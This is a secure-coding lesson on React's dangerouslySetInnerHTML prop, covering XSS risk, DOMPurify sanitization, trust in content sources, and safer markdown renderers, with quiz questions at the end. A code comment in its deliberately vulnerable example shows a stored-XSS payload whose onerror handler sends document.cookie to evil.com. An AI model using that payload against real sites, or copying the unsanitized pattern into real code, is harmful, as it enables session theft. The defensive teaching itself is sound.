dangerouslySetInnerHTML in Depth
Understand exactly why dangerouslySetInnerHTML exists, what risk its name is warning you about, how to use it safely with sanitization and trusted content, and what alternatives avoid the risk entirely.
React's prop is deliberately named to be alarming — dangerouslySetInnerHTML, not innerHTML or html, forces you to type the word 'dangerously' every single time you use it, which is a conscious API design decision to make the risk impossible to use by accident. This lesson is a focused look at that one API: what problem it solves, exactly how it differs from every other prop in React, and the decision process for using it responsibly.
Why the API exists at all
React's core rendering model assumes it owns the DOM subtree it manages: it diffs your JSX against its previous render and applies the minimal set of DOM mutations, and every value you hand it — text content, attribute values — is escaped and treated as plain data, never as markup. This is what makes JSX safe by default and also what makes it impossible to render a raw HTML string through ordinary JSX: <div>{htmlString}</div> would display the literal angle brackets as text, not render the markup.
But legitimate reasons to render raw HTML do exist: a CMS or markdown-to-HTML pipeline that produces trusted HTML server-side, embedding a third-party widget's HTML snippet, or displaying rich text authored by a trusted editorial team through a WYSIWYG editor. dangerouslySetInnerHTML is React's escape hatch for exactly this case — it tells React 'skip your normal escaping and set this DOM node's innerHTML directly with this string.'
The prop takes an object with a single key, __html, rather than a plain string. This is also deliberate: an object shape ({ __html: value }) cannot be accidentally produced by string concatenation the way a bare string could, adding a small but real speed bump against passing in something you didn't mean to.
The XSS risk this prop reintroduces
Once you use dangerouslySetInnerHTML, you have stepped outside React's safety net entirely for that subtree. Whatever string you pass is parsed by the browser exactly as if you had written it as literal HTML in the page — <script> tags (in most contexts), onerror/onclick attributes, and javascript: URLs inside it will all be interpreted and can execute. This is precisely the definition of an XSS sink from the previous lesson, and it is the single most common way React apps reintroduce XSS despite React's reputation for being safe.
The risk scales directly with how trusted the source of the HTML is. HTML you wrote yourself as a literal string constant in your own source code is fine — it's no different from writing it directly in a .html file. HTML that flows, even indirectly, from something a user typed (a bio field, a comment, a markdown editor, a file upload, an imported document) must never reach this prop unsanitized, because that user could be an attacker and that string could be a payload.
Sanitizing untrusted HTML before it reaches this prop
The standard fix is a dedicated sanitization library — DOMPurify is the most widely used and audited choice — run on the HTML string immediately before it is handed to dangerouslySetInnerHTML. A sanitizer parses the string into a real DOM tree and walks it, keeping only an explicit allowlist of tags and attributes and stripping everything else, including event-handler attributes and dangerous URL schemes.
Sanitize as close to the render call as possible rather than once when the content is first saved. Rules about what's dangerous evolve (new HTML features, newly discovered bypass techniques), and sanitizing at write-time means old stored content is only as safe as the sanitizer version that existed when it was written. Sanitizing at read/render time means every render benefits from your current sanitizer rules.
Configure the sanitizer's allowlist to be as narrow as the feature actually requires. A comments field that supports basic formatting needs perhaps <b>, <i>, <a href>, <p>, <br> — it does not need <iframe>, <style>, <svg>, or <form>, each of which has historically been used in sanitizer bypass research.
'Trusted content' is a spectrum, not a boolean
It's tempting to think of content as either 'trusted' (safe to render raw) or 'untrusted' (must sanitize), but in practice trust is a chain, and you must trust every link. HTML generated by your own markdown-to-HTML library from your own hardcoded marketing copy is trusted. HTML fetched from your own CMS, written by your own employees who have accounts on that CMS, is trusted only as far as you trust every person with CMS write access and the CMS's own input validation.
HTML from a third-party API response — even a reputable one — should generally be treated as untrusted unless that API's documentation explicitly guarantees pre-sanitized output, because you have no control over what that upstream service might return, whether from a bug, a compromise, or content it itself sourced from users.
When to avoid it entirely
The single best defense against dangerouslySetInnerHTML risk is not needing it. Many use cases that look like 'I need to render HTML' are actually 'I need rich text formatting,' which has safer solutions: a markdown renderer library that outputs React elements directly (e.g. react-markdown, which parses markdown into an AST and renders each node as a real JSX element, never touching innerHTML at all) sidesteps the entire sink.
Similarly, if you only need bold/italic/links from a rich-text editor, consider whether the editor can give you structured data (a small JSON schema of formatting spans) that you render with your own JSX mapping, rather than an HTML string — this gives you both safety and full control over the output markup, at the cost of writing a small renderer yourself.
The dangerouslySetInnerHTML shape
The object-wrapper shape ({ __html: value }) is intentional friction, distinct from every other React prop, to make the risk visible in code review. It sets the element's innerHTML directly; React does not diff the HTML string's internal structure on subsequent renders the way it diffs JSX — the whole subtree is replaced when the string changes.
// The prop always takes an object with exactly one key: __html.
<div dangerouslySetInnerHTML={{ __html: trustedOrSanitizedHtml }} />
// This does NOT work — a bare string is rejected by TypeScript's types:
// <div dangerouslySetInnerHTML={trustedOrSanitizedHtml} /> // Type errorCode Examples
This is a low-risk use because the HTML string is fully determined at build time by the developer — there is no path for user-controlled data to reach it, so there's nothing for an attacker to inject.
Every visitor to this profile page — including other users and any admin moderating profiles — executes the attacker's script the instant the page renders. This is a stored XSS vulnerability with a very large blast radius.
Common mistake: Passing any string that ultimately traces back to user input into dangerouslySetInnerHTML without sanitization.
DOMPurify parses the HTML with a real parser (not a regex) and strips the onerror attribute along with anything else outside the allowlist, so the same attacker input renders as an inert, formatting-free <img> with no event handler.
DOMPurify.sanitize(bioHtml, { ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })
Because react-markdown never constructs an HTML string and never calls innerHTML, dangerouslySetInnerHTML (and the need to sanitize) is eliminated entirely for this feature — the safest option is the one that removes the sink.
const TERMS_SNIPPET = `
<p>By continuing you agree to our
<a href="/terms">Terms of Service</a>.</p>
`;
function TermsNotice() {
// Trusted because the entire string is a literal in our own source code,
// never touched by user input or an external API.
return <div dangerouslySetInnerHTML={{ __html: TERMS_SNIPPET }} />;
}// VULNERABLE
function UserBio({ bioHtml }: { bioHtml: string }) {
// bioHtml came from a user's profile form and was stored as-is.
return <div dangerouslySetInnerHTML={{ __html: bioHtml }} />;
}
// An attacker sets their bio to:
// <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">import DOMPurify from "dompurify";
function UserBio({ bioHtml }: { bioHtml: string }) {
const safeHtml = DOMPurify.sanitize(bioHtml, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
ALLOWED_ATTR: ["href"],
});
return <div dangerouslySetInnerHTML={{ __html: safeHtml }} />;
}import ReactMarkdown from "react-markdown";
function UserBio({ bioMarkdown }: { bioMarkdown: string }) {
// react-markdown parses to an AST and renders each node as a real
// React element (<strong>, <a>, <p>...) — no innerHTML sink at all.
return <ReactMarkdown>{bioMarkdown}</ReactMarkdown>;
}Decision path for rendering formatted content
Prefer a structured renderer; reserve dangerouslySetInnerHTML for developer-authored strings or sanitized untrusted HTML.
Need to show formatted content?
|
v
Is a structured renderer available
(markdown -> JSX, rich-text AST -> JSX)?
| |
YES NO
| |
v v
Use it (react-markdown, Must render raw HTML string
slate/lexical renderers) |
| v
v Is the HTML fully developer-
No dangerouslySetInnerHTML authored (no user/API input)?
needed. Safest option. | |
YES NO
| |
v v
dangerouslySetInnerHTML DOMPurify.sanitize()
with the literal string THEN dangerouslySetInnerHTMLImportant Rules
Never pass user-derived or third-party-API-derived HTML into dangerouslySetInnerHTML without sanitizing it first.
Sanitize at render time with an allowlist library (DOMPurify), not with regex, and not only once at save time.
Prefer a structured renderer (react-markdown, a rich-text AST-to-JSX renderer) over raw HTML whenever one is available.
Keep the sanitizer's allowlist as narrow as the actual formatting feature requires.
Treat HTML from any external API as untrusted unless its docs explicitly guarantee pre-sanitized output.
Why this matters beyond the demo app
Rich-text and markdown editors are one of the most common features to reintroduce XSS into an otherwise well-architected React codebase, precisely because the feature 'obviously' needs to render HTML, and the sanitization step is easy to skip during a rushed implementation and easy to miss in code review because the vulnerable line looks like ordinary, idiomatic React.
<div dangerouslySetInnerHTML={{ __html: apiResponse.description }} />
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(apiResponse.description) }} />
Third-party API responses are outside your control and should be treated as untrusted input, even from reputable providers, unless explicitly documented as pre-sanitized.
Sanitizing bioHtml once when the user saves their profile, then trusting the stored value forever after.
Sanitize bioHtml again at render time, every time, immediately before the dangerouslySetInnerHTML call.
Sanitizer rules and known bypass techniques evolve; content sanitized under an old ruleset can become unsafe again as new bypasses are discovered, so render-time sanitization stays current.
Why does dangerouslySetInnerHTML require an object shape ({ __html: value }) instead of accepting a plain string? A. React needs the object to support multiple HTML fragments at once B. It's a deliberate speed bump so the risky operation can't be produced accidentally by simple string concatenation, and stands out in code review C. TypeScript cannot type-check plain strings D. It allows React to sanitize the string automatically before rendering
B. It's a deliberate speed bump so the risky operation can't be produced accidentally by simple string concatenation, and stands out in code review — The unusual object wrapper is an intentional API design choice to make the dangerous operation visibly distinct and harder to trigger by accident — React does not sanitize the value for you.
When is it acceptable to pass a raw HTML string into dangerouslySetInnerHTML without running it through a sanitizer? A. Whenever the string is short B. Whenever the app is in development mode C. When the HTML string is a literal constant fully authored by the developer, with no path for user or external-API input to reach it D. Whenever the HTML came from your own database, regardless of who wrote it
C. When the HTML string is a literal constant fully authored by the developer, with no path for user or external-API input to reach it — Trust must be traced to the actual origin of the string; a developer-authored literal has no injection path, while anything sourced from users, editors, or external APIs should be sanitized, even if it happens to live in your own database.
Why is react-markdown (rendering to real JSX elements) generally safer than markdown-to-HTML-string plus dangerouslySetInnerHTML? A. react-markdown is faster at runtime B. It never constructs an HTML string or calls innerHTML at all, so there is no injection sink to sanitize in the first place C. react-markdown automatically encrypts the rendered content D. It disables JavaScript execution on the whole page
B. It never constructs an HTML string or calls innerHTML at all, so there is no injection sink to sanitize in the first place — By parsing markdown to an AST and rendering each node as a genuine React element, the approach never passes through a raw-HTML sink, eliminating the vulnerability class entirely rather than mitigating it.
A teammate proposes embedding a third-party review widget by fetching its HTML snippet from the vendor's API and rendering it with dangerouslySetInnerHTML. What questions should you ask before approving this, and what would you change?
Ask: does the vendor's API guarantee the HTML is sanitized against injection from review content (which is itself user-submitted to the vendor)? If not, sanitize with DOMPurify before rendering, or better, embed the widget via a sandboxed <iframe src={vendorUrl}> pointing at the vendor's own origin, so any XSS in the widget's content is contained within the iframe's separate origin instead of running with full access to your page's DOM and cookies.
Consider whether the vendor's HTML could contain arbitrary attacker content (e.g. a fake review with an injected payload), whether the vendor guarantees sanitized output, and whether an iframe embed (which has its own separate origin/sandbox) might be a safer alternative to inlining raw HTML into your page's DOM.